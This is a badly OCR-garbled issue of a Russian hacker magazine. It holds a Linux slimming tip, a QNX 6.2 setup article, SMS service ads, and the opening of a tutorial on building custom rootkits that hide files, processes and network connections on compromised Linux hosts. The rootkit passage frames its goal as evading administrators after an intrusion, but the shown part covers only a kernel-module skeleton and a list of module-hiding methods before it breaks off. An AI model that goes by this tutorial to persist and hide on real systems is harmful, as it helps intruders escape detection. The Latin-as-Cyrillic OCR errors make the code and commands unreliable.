содержать отладочную информацию (-д, -ддсІЬ), необходимую 
только, разве что, разработчикам. Такая инфа совершенно не 
нужна на десктопе и может довольно существенно раздуть бина- 
рник (в несколько раз). Избавиться от нее довольно просто: 

$ ЕіпсІ {/,/изг, /изг/ХІ 1/,/изг/ІосаІ/}{Ьіп,зЬіп,ІІЬ,ІІЬехес} -Іурѳ Е I хагдз 

зігір -сі 

Во время выполнения команды может посыпаться много ругани, 
но не беспокойся — это зігір нарывается на различные скрипты. 
Для проверки того, от каких библиотек зависит прога, можно вос- 
пользоваться утилитой ІсісІ. Просто натрави ее на бинарник и уви- 
дишь полный листинг зависимостей. Чтобы выяснить, какие файлы 
софтина читает во время своей работы, воспользуйся командой 
з/гасе -е /гасе=ореп — она покажет все системные вызовы ореп, 
сделанные подопытной прогой. А вообще обо всех открытых в 
данный момент файлах поведает утилита ІзоЕ. 

[а есть ли предел?] Возможно, у тебя уже возник вопрос: каким об- 
разом разработчики умудряются разместить целый дистрибутив 
вместе с иксами и сетевым софтом на одну-две дискеты? Первый 
шаг на пути к созданию минидистрибутива — использование Ьизу- 
Ьох. Этот пакет был разработан специально для использования в 
загрузочных дисках и дискетах. Он заменяет стандартные прог- 
раммы из пакета согеиіііз (саЕ, Із, есбо, ...) и представляет собой 
один-единственный бинарник. Использование одного из старых 
релизов ядра (например 2.2) также сэкономит несколько сот кило- 
байт. Громоздкую дІІЬс обычно заменяют на компактную иСІІЬс. 
Г рафическая система представляет собой сильно урезанную ста- 
рую версию иксов (ІіпуХ) с минимальным набором шрифтов и биб- 
лиотек. Менеджером окон выступает что-нибудь экстремально ма- 
ленькое вроде ВасІѴѴМ. Сетевые серверы обычно удаляются, если, 
конечно, дистрибутив не предназначен для использования в каче- 
стве маршрутизатора. Всю систему помещают в архив и сжимают. 
Ядро, загрузившись, распаковывает архив и записывает его со- 
держимое на виртуальный диск, находящийся в оперативке © 



[нестандартные дистрибутивы] 

Некоторые дистрибутивы, такие как ЗІаскѵѵаге, не соб- 
людают РН8 и хранят каталоги тап, іпіо и бос в /изг. 

[используй исходники] 

Лучший способ уменьшить объем системы устанавли- 
вать все из исходников. Так ты сможешь выкинуть не- 
нужные компоненты программы и избавить ее от лин- 
ковки с огромным количеством библиотек. 

[пара слов о рзн] 

РЗН (Рііезузіет НіегагсИу Зіапбагб) — стандарт на 
структуру каталогов файловой системы. Описывает 
требования по размещению файлов и каталогов в *піх. 
Был создан в 1993 году. Новую версию можно взять с 
официального сайта: ѵі/ѵѵѵѵ.раІІппате.сот/Ніз. 








аттач 

плагин 



Подробности: ѵмѵѵ.Игее.ги, (095) 916-7253, (812) 118-4575, $иррогШИгее.ги. Для заказа картинок включи услугу ѴѴАР/ОРРЗ-доступ в Интернет (оплачивается 



РАСШИФРОВКА ТЕРМИНОВ 
КАРТИНКИ ДЛЯ МОБИЛЬНОГО 
ОТВЕТЫ НА ТВОИ ВОПРОСЫ 
ВИКТОРИНА С ПРИЗАМИ 



Хочешь узнать ответ на вопрос? 



СЕРВИС 

Эксклюзивный вопрос "Хакеру”! 



Пришли вопрос на номер 4449 в виде 98 Іех(_ѵорго5а 
(например "98 Помогите взломать банк”). Не более 160 сим- 
волов латиницей или 70 символов кириллицей. Укажи свой 
почтовый адрес, либо мы позвоним на твой мобильный номер 
(с городского номера). 



отвечать будут редакторы журнала! 



Хочешь на экскурсию в редакцию журнала? 



Как стать автором журнала “Хакер"? (код ѵѵ0082) /й*«о«Ц$ с » • 

Сколько девушек было у Бублика? (код ѵѵОІбО) сво 

Чем занимается Куттер каждый вечер? (код ѵѵОІбІ) 

Сколько времени за компом проводит Горлум? (код ѵѵ0162) 



Задай свой прикольный вопрос! Пришли вопрос на номер 4445 в виде 
98 Іехі_ѵорго5а (например “98 Есть ли в редакции голубые?"). Не более 
160 символов латиницей или 70 символов кириллицей. 



Для этого ответь правильно на вопрос викторины. 



Хочешь фирменный лого на свой сотовый? 

Пришли код логотипа (к примеру, "1001") на номер 4446. 



Свой вариант присыпай на номер 4445 в виде 983 ѵагіап(_оіѵеіа 
(например “983 А"). Среди правильно ответивших мы случайным образом 
выберем пятерых счастливчиков! Для иногородних проезд до Москвы не 
оплачивается. 

Какая па(іѵе арі функция в антивирусе Касперского перехватыва- 
лась неправильно и вела к багам? 

A) ЗиТегтіпаІеРгосезз 

B) МОиегубузІетІпГогтаПоп 

C) СгеаіеРгосезз 



Хочешь узнать, что значит термин? 



Пришли код термина (к примеру, “ѵѵООІЗ") на номер 



1014 1021 1028 1034 



1015 1022 1029 1035 



1009 



1016 1023 1030 1036 






1003 1010 1017 1024 1031 1037 



1004 Ю11 1018 1025 1032 1038 



•'! «1-Г 






г Г' 

Е-ь 'Ѣ. 



1005 1012 1019 1026 1033 1039 



транзакция 

архитектура 

трассировка 

дистрибутив 

брандмауэр 

хост 

подсеть 

демон 

эксплойт 

хостинг 

троян 

отладчик 

эмулятор 

хук 

пиринг 

хаб 

фТП 

маппинг 

роутер 

флейм 

кряк 

варез 

сплиттер 

бинарник 

патч 

баг 

шлюз 

шелл 

блог 

бэкап 

декодирование 

интерпретатор 

локалка 

бэкдор 

хомпага 

сессия 

авторизация 

домен 

топик 

снифер 



окружение 

кластер 

микроконтроллер 

транслятор 

верификатор 

спам 

аутсорсинг 

баннер 

локализация 

стек 

исключение 

мидлет 

обфускатор 

Флуд 

браузер 

драйвер 

компилятор 

дескриптор 

хэш 

сокет 

скрипт 

трафик 

дамп 

прокси 

реестр 

листинг 

тэг 

файрвол 

алиас 

буфер 

свитч 

спуфинг 

биос 

фрикинг 

крэкинг 

слот 



регистр 



1006 1013 1020 1027 



согласно твоему тарифному плану). Проверить возможность закачки можно, зайдя на ѵѵар-сайт Шр://4446.ш. В случае ошибки уточни настройки в службе 



поддержки твоего оператора. Стоимость запроса на номер 4444 - $0,30 без учета налогов, на номер 4445 - $0,60 без учета налогов, на номер 4446 - $0,90 без 



учета налогов, на номер 4449 - $3,00 без учета налогов. В случае ошибочного запроса услуга считается оказанной. 










ЮНИТЫ КРЕАТИФФ КОДИНГ [ІІШХОЮ] СЦЕНА ВЗЛОМ ИМПЛАНТ РС.гОЫЕ РЕВВІІМ НЬЮСЫ 





Укрощение реального времени 

РАСХОЖЕЕ МНЕНИЕ О ТОМ, ЧТО РАБОТАТЬ В ОЫХ НЕИМОВЕРНО ТРУДНО, — МИФ. ЭТА СИСТЕМА ТРЕБУЕТ 
НЕ БОЛЬШЕ ВРЕМЕНИ НА ОСВОЕНИЕ, ЧЕМ ШЦХ, ЗОЬАВІЗ ИЛИ ВЗЭ, А ОТДАЧА ОТ НЕЕ НИЧУТЬ НЕ МЕНЬ- 
ШАЯ. ВМЕСТЕ С ПОДДЕРЖКОЙ ПРИЛИЧНОГО ЧИСЛА АППАРАТНЫХ ПЛАТФОРМ, РАЗЛИЧНОГО ОБОРУДОВА- 
НИЯ И СИММЕТРИЧНЫХ МНОГОПРОЦЕССОРНЫХ ВЫЧИСЛЕНИЙ ТЫ ПОЛУЧАЕШЬ ОТЛИЧНЫЕ ПОКАЗАТЕЛИ 
НАДЕЖНОСТИ И АДЕКВАТНОСТИ СИСТЕМЫ. ПЛЮС КО ВСЕМУ МИКРОЯДРО ОИХ НЕ ТОЛЬКО НЕ ДОЛЖНО 
ЗАВИСНУТЬ НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ, НО И ОБЛАДАЕТ МЕХАНИЗМОМ, КОТОРЫЙ ПОЗВОЛЯЕТ 
ЭТОЙ ОПЕРАЦИОННОЙ СИСТЕМЕ ГАРАНТИРОВАННО ВЫПОЛНЯТЬ ВОЗЛОЖЕННЫЕ НА НЕЕ ЗАДАЧИ В ОП- 
РЕДЕЛЕННЫЙ ИНТЕРВАЛ ВРЕМЕНИ. СЕГОДНЯ Я РАССКАЖУ ТЕБЕ, КАК СДЕЛАТЬ СВОИ ПЕРВЫЕ ШАГИ В 
ЭТОЙ ПОИСТИНЕ УНИКАЛЬНОЙ ОПЕРАЦИОНКЕ I 

Валерия Комиссарова (косІтегді@таіІ.ги) 

Ігеір & X есііііоп: Х400 (х400@к.го), Апсігеу Маіѵееѵ (апсігизІтоск@геаІ. хакер. ш) 




ОСРВ ОЫХ выходит из тени 

[общие сведения] Операционная система жесткого реального 
времени ОІЧХ (Реаі Тіте ОрегаТіоп ЗузГет, РТОЗ). Что это значит? 
Благодаря особой архитектуре, ОІЧХ выполнит все задачи точно 
в срок, в отличие от систем общего назначения (ѲепегаІ Ригрозе 
ОрегаТіоп ЗузТетз, ОРОЗ) — ѴѴІпсІо\л/з и *піх, которые добросове- 
стно служат делу эффективного разделения системных ресур- 
сов и стараются выполнять поставленные задачи максимально 
быстро для данной конкретной ситуации. 

Дело в том, что ядро ОІЧХ очень мало и выполняет только самый 
необходимый набор функций (работа с потоками, обеспечение 
связи между процессами, поддержка механизма обработки 
прерываний, поддержка часов, таймеров и таймаутов). Вторую 
часть работы выполняет администратор процессов. Вместе они 
составляют один модуль ргоспіо, имеющий разные версии в за- 
висимости от типа процессора и наличия поддержки 5МР. Третий 
компонент архитектуры ОІЧХ — администраторы ресурсов. Он 
может быть реализован в виде отдельной программы или динами- 
ческой библиотеки. Четвертый компонент — прикладное ПО. 



0І\ІХ отлично реализует 
главную концепцию Зоіагіз 
— полную поддержку сим- 
метричных многопроцес- 
сорных вычислений. Так же 
как и Зоіагіз, 0І\ІХ обеспе- 
чивает линейный рост про- 
изводительности при уве- 
личении числа процессоров 
в системе. Сеть СШХ (ОІІеІ) 
реализует и сетевые ЗМР. 



Ф иіѵл иимчпи /у ссшируеі [установка и первоначальная 

главную концепцию Зоіагіз настройка] Существует три ос- 
— полную поддержку сим- новных ветви этой операционной 
системы: ОІЧХ2, ОІЧХ4 и ОІЧХ6. 
Последняя нам наиболее инте- 
ресна, так как включает в себя 
бесплатно распространяемую 
версию для некоммерческого 
использования — ОІЧХ МотепГісз 
6.2 І\Іоп-СоттегсіаІ ЕсІІІіоп (теку- 
щая версия 6.2.1). Также сущест- 
вуют версии для коммерческого 
использования — 5Е (ЗГапсІагГ 
ЕсШіоп) и РЕ (РгоГеззіопаі ЕсІІТІоп). Самой же последней версией 
ОІЧХ является 6.3, но, к сожалению, она нам не подходит (хоть и 
имеет множество положительных отличий от 6.2), так как бесплат- 
но ее юзать можно только 30 дней. 

Как же получить N0 версию ОІЧХ? Можно купить книгу о ОІЧХ, к 
которой прилагается диск с бесплатной версией, или скачать 
дистрибутив из Сети (700 Мб). Покупать коммерческую версию 
тебе вряд ли захочется, так как ее цена составляет -$14000. Так 
что книга, по-моему, наилучший выход. 

В общем, дистрибутив ты достал. Будем устанавливать версию 6.2. 
Есть два варианта установки: в собственный раздел и в раздел 
ѴѴіпсІо\л/з. К сожалению, в дистрибутиве 6.2.1 возможность уста- 
новки в раздел \Д/іпсіо\л/з (ЕАТ32) отсутствует. Поэтому, чтобы 
быстро разобраться, что к чему, не заморачиваясь при этом с 
разделами, придется ставить 6.2.0. 

Бери Рагііііоп Мадіс или ОГРагГесІ и переразмечай жесткий диск. 
Под раздел для ОІЧХ требуется около 2 Гб дискового простран- 
ства, примерно 256 Мб оперативной памяти и процессор не ниже 
Репііит 3 700 МГц. Это системные требования для инструменталь- 
ной ОС (для системы разработчика), для целевых же систем ми- 
нимальные требования гораздо ниже. Список поддерживаемого 
оборудования очень велик, так что с этим проблем, скорее всего, 
не возникнет. Поддерживаются все наиболее распространенные 
модели процессоров, видеокарт, мышей, клавиатур и прочих уст- 
ройств, полный список которых ты можешь посмотреть на 
ѵ/ѵ/ѵ/.цпх.сот/5ирроіі/зсІ_ТіагсІѵ/сігѳ. Установка очень быстрая и 
простая, поэтому на ней подробно не останавливаюсь. 
Перезагружайся, логинься под гооГом без пароля. В зависимости от 
твоего ответа на вопрос, нужно ли запускать графическую оболочку 
при старте системы или нет, ты увидишь либо консоль, либо РГюГоп 
тісгоѲЕІІ — собственную графическую оболочку ОІЧХ. Если ты по- 
пал в консоль, войди в систему и набери рГі для запуска РГюГоп. 
Графических утилит для добавления и удаления пользователей 
нет. Проблема решается командами разз\л/сІ, пе\л/дгр и ручной 
правкой /еіс/раз5\л/сІ и /еіс/дгоир. Формат этих файлов привыч- 




В коммерческую версию 
дистрибутива входят Ргіпіет 
йОК (Огіѵег Оеѵеіортепі 
КП) и комплект разработчи- 
ка Іпіедгаіесі Оеѵеіортепі 
Епѵігоптепі, базирующийся 
на Есіірзе (поддерживается 
кодинг на С/С++ и баѵа), ко- 
торый позволяет создавать 
целевые системы. Работа с 
ним интуитивно понятна. 




Также стоит отметить воз- 
можность создания так назы- 
ваемых целевых систем, со- 
держащих минимальный на- 
бор компонент для решения 
каких-либо конкретных за- 
дач, но, к сожалению, это 
возможность доступна толь- 
ко в коммерческой версии 
дистрибутива. 




И в коммерческую, и в бесп- 
латную версию 0І\ІХ входят 
ССС и СРВ. 



ный, юниксовый. Все шифрованные пароли находятся в 
/еТс/зІтасІоѵѵ. Старые версии логинов и паролей — в /еіс/оразз- 
ѵѵсі и /ѳТс/озРюс/оѵѵ. Есть и зи. Пакет зисіо распространяется от- 
дельно от дистрибутива. 

Графическая среда РГюГоп построена так же, как и сама ОІЧХ: 
микроядро и процессы, придающие дополнительную функцио- 
нальность. Микроядро Фотона выполняет минимум действий, а 
именно несколько примитивов, которые используются внешними 
процессами для обеспечения пользовательского интерфейса. 
Наличием сервера и графического драйвера, отвечающего за 
прием информации от сервера шрифтов и интерпретатора гра- 
фического потока, устройство РГюГоп немного напоминает X 
ѴѴІпбоѵѵ. За прием информации от мыши, клавы и т.д. отвечает 
драйвер ввода. Кроме того, РГюГоп использует ІІпісосІе. 

Итак, ты в РГюГоп'е. Вставляй диск с дистрибутивом. ОІЧХ сразу 
распознает, что на диске есть репозитарии. Устанавливать ПО из 
репозитариев можно с помощью программ сі-іпзГаІІег или дпхіпзГаІІ 
(ОІЧХ 5оГТ\л/аге ІпзГаІІег), обладающей графическим интерфейсом. 
Немного о репозитариях. В ОІЧХ есть аналог линуксового грт — 
это ррк, к пакету которого добавляется еще файл манифеста с 
расширением ррт. И пакет, и файл манифеста можно объеди- 
нить в один репозитарий — расширение ррг. Затем информация 
о его содержимом помещается в файл с расширением ргт. 

С помощью ОІЧХ ЗоГТѵѵаге ІпзГаІІег можно установить такие програм- 
мы, как МогіІІа, аудиоплеер, небольшие игрушки. Никаких РгоГГрсІ, 
АрасГіе, как в случае с поставкой Біпих, в дистрибутиве нет. Но это 
не большая проблема, ведь система РОЗІХ совместима, и все не- 
обходимое ПО ты можешь собрать из исходников. Упомяну только 
официальный сайт ѵш/ѵѵ.цпх.огд. Здесь есть довольно большой вы- 
бор пакетов. Все остальное можно найти через ѵѵѵ/ѵѵ.доодіе.согп. 
После установки софта следует произвести необходимую наст- 
ройку сети. Итак, вводишь имя компьютера, адрес шлюза и т.д., 
прописываешь соединения, затем указываешь нужный часовой 
пояс и свое местоположение. 

Русского языка нет, но можно настроить русскую раскладку клавы. 
Ход действий следующий: выбираешь Риззіап, затем жмешь «Арріу» 
и «Эопе» (для вступления в силу новых настроек не забывай нажи- 
мать «Эопе»), Теперь открывай терминалку, запускай ѵі (на самом 
деле это модифицированная версия еіѵіз), в качестве аргумента ко- 
торого будет выступать скрытый файл /еТс/зузТет/Ігар/.КЕУ- 
ВОАІЮ.туІіоз Г (туГюзГ — это имя хоста, подставь свое значение; ес- 
ли ты этого файла не видишь, отметь в файловом менеджере галку 
«Показывать скрытые файлы»). Приведи файл к следующему виду: 

еп_ІІЗ_101.кЬсІ 

ги_ПІІ_102.кЬсІ 

Теперь ты можешь по-виндовому (левые <АІГ-ЗГііГГ>) переключать- 
ся между двумя раскладками. Но ни читать, ни писать по-русски 
в консоли не получится, для этого нужен пакет ЗѴѴЭ СугіІІІс Раск. 

[процессы и потоки] Администратор процессов управляет ме- 
ханизмами защиты памяти, самими процессами и т.д. Необхо- 
димо отметить, что ядро, работая исключительно с потоками, 
ничего не знает о процессах. А так как сложно представить се- 
бе РОЗІХ-совместимую систему без процессов, то о них стоит 
рассказать подробнее. 

Реализации процессов в ОІЧХ и *піх во многом похожи. Каждый про- 
цесс имеет рісі, ррісі, биты иісі, дісі, а также еиісі и едісі, номер прио- 
ритета и др. Есть традиционные для ЕІІЧІХ механизмы ІРС (ІпГег Ргосезз 



[хакер 05 [77] 05 > ІІМХОЮ 099 ] 



аюхіып 




[графическая оболочка Рбоіоп] 



СоттипісаГіоп — межзадачное взаимодей- 
ствие): именованные и неименованные кана- 
лы (то есть присутствует поддержка конвейе- 
ров саі /е1с/ра$5\л/сІ I дгер Ѵазуа, столь лю- 
бимых юниксоидами), разделяемая память. 
Далее перейдем к рассмотрению утилит, 
необходимых для работы с процессами и 
потоками: 

Ш рз — предоставляет информацию о за- 
пущенных процессах; 

0 зіп — расширенный рз, имеет немалое 
количество полезных флагов. Вот некото- 
рые из них: гедізТегз — для получения ин- 
формации о регистрах; Гіадз — о флагах; 
іпГо — о системе; ГГігеасІз — о потоках; агдз 
— об аргументах процессов; 

0 рісііп — служит для получения информа- 
ции о потоках. 

[ох уж эти железки] Администратор ре- 
сурсов принимает сообщения от других 
программ и при необходимости обеспе- 
чивает взаимодействие с аппаратурой. 
Группа символьных устройств ввода-выво- 
да реализуется с помощью администра- 
торов, имена которых имеют вид беѵс-*, 
и включает в себя: 

И консольные устройства; 

0 последовательные устройства; 

0 параллельные устройства; 

, , 0 псевдотерминалы. 

О Что касается работы с железом, то для 
этого существуют команды: пісіпГо — ин- 
формация о сетевых картах; рсі — о РСГ 
устройствах; сгГГгар — о видеокарте; іприГ- 
Ггар — об устройствах ввода (клавиатура, 
мышь и др.); ріп — о РС СагсІ устройствах. 

[файловые системы] Теперь о файловых 
системах. Есть поддержка РАТ 12/16/32, 
Ех12, ОІЧХ4 и 1509660, с ними все разделы 
дисков легко маунтятся при загрузке; прос- 
мотр, запись, удаление файлов на разде- 
лах происходят без проблем. Это что каса- 
ется блочных ФС. ОІЧХ также поддержива- 
ет образные, плоские (РАМ), ГІазГі, сетевые 
(ІЧРЗ, СІЕ5) и виртуальные файловые систе- 
мы — в частности, пакетную файловую сис- 
тему и так называемый ІпТІа+ог, обеспечива- 
ющий динамическую декомпрессию при 
открытии файлов, сжатых утилитой сІеТІаТе. 

[файлы и каталоги] В ОІЧХ поддерживают- 
ся следующие типы файлов: 

Ш обычные файлы; 

0 каталоги; 
о 0 жесткие и символические ссылки; 

І; 0 блок- и байт-ориентированные специ- 
ю альные файлы; 

^ 0 специальные именованные устройства 

* (ІЧатесІ ЗресіаІ Эеѵісе); 

^ 0 именованные программные каналы (рірез). 




[смотрим процессы] 

С обычными файлами, каталогами, жестки- 
ми и символическими символами все более 
или менее понятно. Именованные каналы — 
это механизм взаимодействия ме>кду про- 
цессами: один процесс пишет в програм- 
мный канал, другой читает из него. Блок- и 
байт-ориентированные файлы предназна- 
чены для изоляции приложений от физичес- 
ких характеристик аппаратуры. Файлы типа 
ІЧатесІ ЗресіаІ Эеѵісе специфичны для ОІЧХ 
и означают следующее: байт- и блок-ориен- 
тированные файлы универсальны и могут 
быть использованы не только для обмена 
между программой и драйвером устрой- 
ства, но и между приложениями. При этом 
приложение, создающее специальные фай- 
лы, становится программным устройством. А 
так как не всегда удобно обмениваться дан- 
ными по байтам и блокам, был введен осо- 
бый тип файла — ІЧатесІ ЗресіаІ Эеѵісе. 

Для работы с разделами есть свой ГФІзк. 
Монтирование и размонтирование файло- 
вых систем выполняется обычными коман- 
дами гтюипІ/итоипГ. Инициализация раз- 
дела — сііпіі, диагностика носителя — 
бсГіеск. Есть сГікГзуз для проверки файло- 
вой системы и восстановления битовой 
матрицы; для проверки логической цело- 
стности раздела РАТ32 в ОІЧХ есть аналог 
виндошному зсапсіізк — это сРіксІозГзуз. Ути- 
литы сір сіи, ГіпсІ также имеют место быть. 
Разграничение прав доступа к файлам 
происходит практически так же, как и в 
*піх (сРітосІ, сРідгр, сГю\л/п). 

[поддержка сети] ОЫХ имеет прекрасную 
поддержку ТСР/ІР. Есть и собственное уни- 
кальное сетевое решение — ОІЧеГ. Прин- 
цип ОІЧеГ — прозрачное взаимодействие 
между компьютерами в сети, которые с 
точки зрения ОІЧеГ фактически представ- 
ляют собой один многопроцессорный 
компьютер. Также стоит обратить внима- 
ние на технологию Читрбаіе, которая 
предоставляет возможность удаленной 
работы с базовой графической оболоч- 
кой ОІЧХ — РГюІоп. Реализующим ее ком- 
понентом является сервер рГігеІау, пере- 
дающий клиентским программам инфор- 
мацию о графическом изображении 
РГюІоп. Клиентами могут быть утилиты ррііп- 
сІо\л/з, рГііпх и рЬсШТо. РГііпсІо\л/5 необходим 
для доступа к рГігеІау из ѴѴІпсІо\л/з, а рГііпх 
— из любых осей, использующих X ѴѴІпбоѵѵ 
ЗузТет. Настройка сети проста, и, в прин- 
ципе, особых проблем не возникает. 




[смотрим информацию о железе] 




[настраиваем сеть] 

[подсистема печати] ОІЧХ является счастли- 
вой обладательницей сразу двух подсистем 
печати: родной и ЕШ'шной ІрсІ. Все осталь- 
ные нетривиальные задачи печати решают- 
ся с помощью пакета ЗатЬа. С собственной 
подсистемой печати ОІЧХ дело обстоит так: 
основа — это серверный процесс зрооіег, 
который контролирует параллельный порт 
/сіеѵ/раіі . Если к нему подключить принтер, 
то зрооіег автоматически его распознает и 
отконфигурирует. В каталоге /еіс/ргіпіегз на- 
ходятся файлы конфигурации для разных ти- 
пов принтеров. В состав дистрибутива входят 
несколько фильтров для работы с наиболее 
популярными типами принтеров. Для управ- 
ления заданиями в зрооіег'е можно восполь- 
зоваться графической утилитой ргрЬз. 

[логи — всему голова] В ОІЧХ присутствуют 
две системы журналирования событий: 
зузіод, идентичная ‘піх'овой реализации, и 
более простая — зіоддег, специфичная 
для ОЫХ. Формат ее записей таков: 

Ш дата и время события; 

0 важность сообщения (от 0 до 7); 

0 коды события (старший и младший); 

0 собственно текст сообщения (опреде- 
ляется разработчиком программы). 
Посмотреть журнал можно утилитой зІодіпГо. 
[применение системы] Основная сфера 
применения ОІЧХ — управление ответ- 
ственным промышленным оборудовани- 
ем. В пользу этого говорит, прежде всего 
то, что с момента создания системы в ее 
коде не было найдено ни одного бага. Ау- 
дит ядра системы еще жестче, чем у Ореп 
и ІЧеГВЗЭ. ОИХ 6.2 поддерживает прилич- 
ное количество аппаратных платформ: 
АРМ, МІР332, ЗГгопдАРМ, 5Н4, Ро\л/егРС, 
Хзсаіе, х86. И этот список постоянно по- 
полняется. Кроме того, использовать ОІЧХ 
можно и в качестве рабочей станции. Ось 
обладает всем необходимым для того, что- 
бы слушать музыку, серфить инет, играть в 
игрушки (поддерживаются все распрост- 
раненные модели видеоплат, широкий 
спектр разрешений, 16- и 32-битные диа- 
пазоны цветов) — в общем, все что душа 
пожелает. С ОІЧХ ты не пропадешь! © 




[ОІЧХ Виіісіег] 





тне іл/овю з 1 АЯ 065 Т согѵіРитев ре^тіѵди 

Самая Большая в мире ІАІЧ-рагіу - 
16-19 июня Сіончёппинг (Швеция). 



Хочешь поехать - звони уполномоченному агенту 
по продаже туров на ОгеашНаск $шптег-2005 - 

компанию ІІТ$ 

Телефон - (095) 7237227 
(менеджер проекта - Наталья Кошелева). 



медиапартнеры РПЕПМНПОіКІвІВШбсиіІ 
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ЮНИТЫ КРЕАТИФФ КОДИНГ ІШІХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20ЫЕ РЕВРШМ НЬЮСЫ 






Поиграем с 
туксом в прятки 



СЕГОДНЯ Я РАССКАЖУ, КАК СПРЯ- 
ТАТЬ СВОИ ФАЙЛЫ, ПРОЦЕССЫ И 
СЕТЕВЫЕ СОЕДИНЕНИЯ В ДИСТРИ- 
БУТИВЕ ІЛЧЦХ С ЯДРАМИ ВЕРСИЙ 
2.4 И 2.6, ОБОБЩИВ ОПЫТ ХАКЕРС- 
КИХ АТАК НЕСКОЛЬКИХ ПОСЛЕД- 
НИХ ЛЕТ. ЭТО НЕ РУКОВОДСТВО 
ПО НАСТРОЙКЕ АЭОВЕ, КОТОРЫХ 
ПРУД ПРУДИ В СЕТИ, ЭТО САМОУ- 
ЧИТЕЛЬ ПО СОЗДАНИЮ СОБСТВЕН- 
НЫХ ПООТКІТ'ОВ, НАМНОГО БОЛЕЕ 
КРУТЫХ, НАДЕЖНЫХ И НЕУЛОВИ- 
МЫХ, ЧЕМ АЭОВЕ И КЫАНК ВМЕСТЕ 



ВЗЯТЫЕ Ікрис Каспере 



ки ака мыщъх 



[введение] Проникнуть на атакуемую машину — это еще не все. Необходи- 
мо закрепиться в системе, спрятать свои файлы, процессы и сетевые сое- 
динения, иначе придет админ и разрулит ситуацию. Этим занимается асіоге, 
кпагк и другие гооікіГы, которые легко найти в Сети, правда, не все из них ра- 
ботают. К тому же против любого широко распространенного гооТИНа, ка- 
ким бы хитроумным он ни был, разработаны специальные методы борьбы. 
Настоящий хакер тем и отличается от жалкого подобия своих подражате- 
лей, что разрабатывает весь необходимый инструментарий самостоятельно 
или, в крайнем случае, адаптирует уже существующий. Хочешь узнать, как 
это сделать? Тогда читай эту статью до конца. 



[модуль раз, модуль два] Подавляющее большинство методик стелсирова- 
ния работает на уровне ядра, пристыковываясь к нему в виде загружаемого 
модуля (ЬоасІаЫе КегпеІ Мосіиіе, или сокращенно І_КМ). В программирова- 
нии модулей нет ничего сложного, особенно для старых ядер версии 2.4. Ис- 
ходный текст простейшего модуля выглядит так: 



[скелет простейшего модуля для ядер версии 2.4] 

// сообщаем компилятору, что это модуль 
режима ядра 
# бейпе МСЮІЛЕ 
#Рейпе КЕРШЕЙ 

// подключаем заголовочный файл для модулей 
#іпсІисІе <Ііпих/тосІиІе.Гі> 

// на многопроцессорных машинах подключаем 
еще и зтр_1оск 
#іМеТ _5МР„ 

#іпсІисІе <Ііпих/зтр_Іоск.Ь> 

#епсІІ( 

// функция, выполняющаяся при загрузке модуля 
іпі іпі(_тосіиІе(ѵоісІ) 

{ 

// мяукнем что-нибудь 

ргіп(к("\пОиг тосіиіе Ігаз Ьееп Іоа<ТесІ!\п"); 




Для организации оп- 
латы карточки необ- 
ходимо установить 
специальный плагин, 
доступный на сайте 
разработчиков. Там 
же есть и другие до- 
полнения. 




Если у тебя не рабо- 
тает встроенный веб- 
сервер, попробуй об- 
новить ѴѴІпбошв 
Зсгірі до версии 5.6 
(шшш.втагі- 
зой.гцШШз/зсгір- 
Іги.ехе). Скорее все- 
го, проблема именно 
в нем. 



// успешная инициализация 
геШгп(О); 



// функция, выполняющаяся при выгрузке модуля 
ѵоіб сІеапир_тосІиІе(ѵоісІ) 

{ 

// мяукнем что-нибудь 

ргіп1к("\пОиг тобиіе Тіаз Ьееп ипІоасІесі\п"); 

} 



// пристыковываем лицензию, по которой распространяется 
// данный файл. Если этого не сделать, модуль успешно 
// загрузится, но операционная система выдаст ѵѵагпіпд, 

// сохраняющийся в логах и привлекающий внимание админов 
МООІИЕ_иСЕМ5Е("ѲРІ_"); 




Обзор методик 
стелсирования 
на уровне ядра 



[последствия аРоге 0.42, запущенного из-под КЙЮРРІХ 3.7 ЬіѵеСО] 




Начиная с версии 2.6 в ядре произошли 
значительные изменения, и теперь прог- 
раммировать приходится так: 

[скелет простейшего модуля для ядер вер- 
сии 2.6] 

#іИе( ШІІХ26 

зіаііс іпі іпі( ту_іпі(() 

#еІзе 

іпі іпі(_то6иІе() 

#епсІІ1 

#іИе( ШІІХ26 

зіаііс ѵоісі ехіі ту_сІеагшр() 

#еІзе 

іпі сіеапир_то6иІе() 

#епсІІ1 

#іИе( шііхгб 

тос1иІе_іпіІ(ту_іпіІ); 

тосІиІе_ехіІ(ту_сІеапир); 

#епсІІ1 

За подробностями обращайся к справочным 
страницам (тап -к тосіиіе), официальной до- 
кументации (/изг/згс/Ііпих/ОоситепІаІіоп/ 
тосіиІез.М) и книге «І_іпих кегпеі іпіегпаіз», 
которую легко найти в Осле. Как бы там ни 
было, только что написанный модуль необ- 
ходимо откомпилировать: 

$ дсс -с ту_тосІиІе.с -о ту_тосІиІе.о 

Настоятельно рекомендуется задейство- 
вать оптимизацию, добавив ключ -02 или - 
03, а затем загрузить внутрь ядра: 

# іпзтосі ту_тосІиІе.о 

Загружать модули может только гооТ. Не 
спрашивай меня, как его получить — это 
тема отдельного разговора. Чтобы модуль 
автоматически загружался вместе с опе- 
рационной системой, добавь его в файл 
/еію/тосіиіез. Команда Ізтосі (или сісі 
і?=/ргос/тосІиІез Ьз=1 ) отображает список 
загруженных модулей, а гттосі ту_тосі- 
иіе выгружает модуль из памяти. Обрати 
внимание на отсутствие расширения в 
последнем случае. 

[список модулей, выданный командой 
Ізтосі, наш модуль носит имя ту_тосіиІе] 



Мосіиіе 


ЗІ2Ѳ 


ЕІзесІ Ьу 


Таіпіесі: Р 


ту_тосІиІе 


240 


0 


(ипизесі) 


рагрог(_рс 


25128 


1 


(аиіосіеап) 


ІР 


7460 


0 




ргосеззог 


9008 


0 


[ІНегтаІ] 


Іап 


1600 


0 


(ипизесі) 


Ьиііоп 


2700 


0 


(ипизесі) 


гіс 


7004 


0 


(аиіосіеап) 


ВизІ_одіс 


83612 


2 


(аиіосіеап) 


ехІЗ 


64388 


1 


(аиіосіеап) 



Неожиданное появление новых модулей 
всегда настораживает админов, поэтому, 
прежде чем приступать к боевым действи- 
ям, мы должны как следует замаскиро- 
ваться. Автору известно три способа мас- 
кировки: 

зУ Исключение модуля из списка модулей 
(метод 1В„ см. на диске файл тосИтісІеІ .с), 
что крайне ненадежно, препятствует нор- 
мальной работе рз, Іюр и других подобных 



утилит, часто роняет систему. 

Ш Перехват обращений к /ргос/тосіиіез 
(метод Рипаг'а Чепзеп'а, опубликованный в 
